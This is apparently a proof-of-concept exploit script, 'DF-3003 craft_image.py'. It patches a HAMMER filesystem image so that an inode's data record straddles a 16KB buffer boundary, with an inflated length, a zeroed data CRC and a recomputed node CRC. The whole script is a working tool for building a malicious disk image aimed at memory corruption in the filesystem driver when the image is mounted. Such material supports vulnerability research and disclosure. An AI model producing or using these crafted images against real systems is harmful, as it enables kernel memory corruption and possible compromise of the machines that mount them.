DF-3003 / craft_image.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | #!/usr/bin/env python3 # DF-3003 PoC image patcher (sparse I/O version, no full-image load). import sys, struct, zlib, json IMG = sys.argv[1] if len(sys.argv) > 1 else "h1.img" OUT = sys.argv[2] if len(sys.argv) > 2 else "h1_patched.img" BUFSZ = 16384 BUFMASK = BUFSZ - 1 XOFF = 16272 # 16384 - 112 : first 112 struct bytes stay in-bounds INODE_DATA_SIZE = 128 # sizeof(struct hammer_inode_data) OFF_MTIME = 112 OFF_ATIME = 120 def make_crc32c_table(): tbl = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ (0x82F63B78 if c & 1 else 0) tbl.append(c) return tbl TBL = make_crc32c_table() def crc32c(data): c = 0xFFFFFFFF for b in data: c = TBL[(c ^ b) & 0xFF] ^ (c >> 8) return c ^ 0xFFFFFFFF def datacrc(version, data): return crc32c(data) if version >= 7 else (zlib.crc32(data) & 0xFFFFFFFF) f = open(IMG, "rb") def rd(off, n): f.seek(off); return f.read(n) # ---- locate volume header ---- SIG = 0xC8414D4DC5523031 vol_off = None for off in range(0, 4 * 1024 * 1024, BUFSZ): if struct.unpack_from("<Q", rd(off, 8), 0)[0] == SIG: vol_off = off; break assert vol_off is not None, "volume header not found" vh = rd(vol_off, 512) vol_buf_beg, vol_buf_end = struct.unpack_from("<qq", vh, 24) vol_version, = struct.unpack_from("<I", vh, 152) btree_root, = struct.unpack_from("<Q", vh, 240) print(f"vol_off={vol_off:#x} buf_beg={vol_buf_beg:#x} buf_end={vol_buf_end:#x} " f"version={vol_version} btree_root={btree_root:#x}") def z2img(zone_off): return vol_buf_beg + (zone_off & ((1 << 52) - 1)) found = [] def walk(node_zo, depth=0): img = z2img(node_zo) node = rd(img, 4096) count, ntype = struct.unpack_from("<iB", node, 16) assert 0 <= count <= 63 and depth < 20, "bad node" if ntype == ord('L'): for i in range(count): e = 64 + 64 * i obj_id, key = struct.unpack_from("<qq", node, e) create_tid, delete_tid = struct.unpack_from("<qq", node, e + 16) rec_type, obj_type, btype = struct.unpack_from("<HBB", node, e + 32) localization, = struct.unpack_from("<I", node, e + 36) data_offset, = struct.unpack_from("<Q", node, e + 48) data_len, = struct.unpack_from("<i", node, e + 56) found.append(dict(elm_abs=img + e, node_img=img, obj_id=obj_id, key=key, rec_type=rec_type, obj_type=obj_type, localization=localization, btype=btype, data_offset=data_offset, data_len=data_len, delete_tid=delete_tid)) elif ntype == ord('I'): for i in range(count + 1): # includes right-hand boundary sub, = struct.unpack_from("<Q", node, 64 + 64 * i + 48) if sub: walk(sub, depth + 1) else: raise Exception(f"bad node type {ntype}") walk(btree_root) for r in found: print(f" leaf obj_id={r['obj_id']} rt={r['rec_type']} ot={r['obj_type']} " f"key={r['key']} dlen={r['data_len']} doff={r['data_offset']:#x}") cands = [r for r in found if r["rec_type"] == 1 and r["obj_id"] != 1 and r["obj_id"] > 0 and r["delete_tid"] == 0] assert len(cands) == 1, f"expected exactly 1 non-root INODE record, got {len(cands)}" tgt = cands[0] assert tgt["data_len"] == INODE_DATA_SIZE and tgt["btype"] == ord('R') blob_img = z2img(tgt["data_offset"]) blob = bytearray(rd(blob_img, INODE_DATA_SIZE)) ot, nlinks, size = blob[64], struct.unpack_from("<Q", blob, 72)[0], \ struct.unpack_from("<Q", blob, 80)[0] print(f"target inode obj_id={tgt['obj_id']} blob@{blob_img:#x} " f"obj_type={ot} nlinks={nlinks} size={size}") assert ot == 2 and nlinks == 1 and size == 6 struct.pack_into("<Q", blob, OFF_MTIME, 0x4141414141414141) struct.pack_into("<Q", blob, OFF_ATIME, 0x4242424242424242) # ---- pick a free (all-zero) 16KB buffer far from the allocation frontier ---- timg = None scan_lo = (vol_buf_end - 128 * 1024 * 1024) & ~BUFMASK scan_hi = vol_buf_end - 8 * BUFSZ zeros3 = b"\x00" * (3 * BUFSZ) cand = scan_lo while cand <= scan_hi: if rd(cand, 3 * BUFSZ) == zeros3: timg = cand + BUFSZ # middle buffer of the zero run break cand += BUFSZ assert timg is not None, "no zero region found" tzone2 = timg - vol_buf_beg assert tzone2 % BUFSZ == 0 and tzone2 > 0 print(f"target buffer image={timg:#x} zone2={tzone2:#x}") # ---- apply patches to a copy ---- out = open(OUT, "wb") import shutil f.seek(0); shutil.copyfileobj(f, out, 1024 * 1024) out.close() def pw(off, data): with open(OUT, "r+b") as o: o.seek(off); o.write(data); o.close() pw(timg + XOFF, bytes(blob)) new_doff = (tgt["data_offset"] & 0xF000000000000000) | (tzone2 + XOFF) pw(tgt["elm_abs"] + 48, struct.pack("<Q", new_doff)) pw(tgt["elm_abs"] + 56, struct.pack("<i", 32768)) pw(tgt["elm_abs"] + 60, struct.pack("<I", 0)) node = bytearray(rd(tgt["node_img"], 4096)) rel = tgt["elm_abs"] - tgt["node_img"] struct.pack_into("<Q", node, rel + 48, new_doff) struct.pack_into("<i", node, rel + 56, 32768) struct.pack_into("<I", node, rel + 60, 0) ncrc = datacrc(vol_version, bytes(node[4:4096])) struct.pack_into("<I", node, 0, ncrc) pw(tgt["node_img"], bytes(node)) print(f"patched: leaf@{tgt['elm_abs']:#x} data_offset={new_doff:#x} data_len=1 " f"data_crc=0 node_crc={ncrc:#x}") json.dump({"vol_off": vol_off, "vol_buf_beg": vol_buf_beg, "vol_version": vol_version, "target_img": timg, "target_zone2": tzone2, "xoff": XOFF, "new_doff": new_doff, "leaf_img": tgt["elm_abs"], "node_img": tgt["node_img"], "obj_id": tgt["obj_id"]}, open(OUT + ".json", "w"), indent=1) print(f"wrote {OUT}") |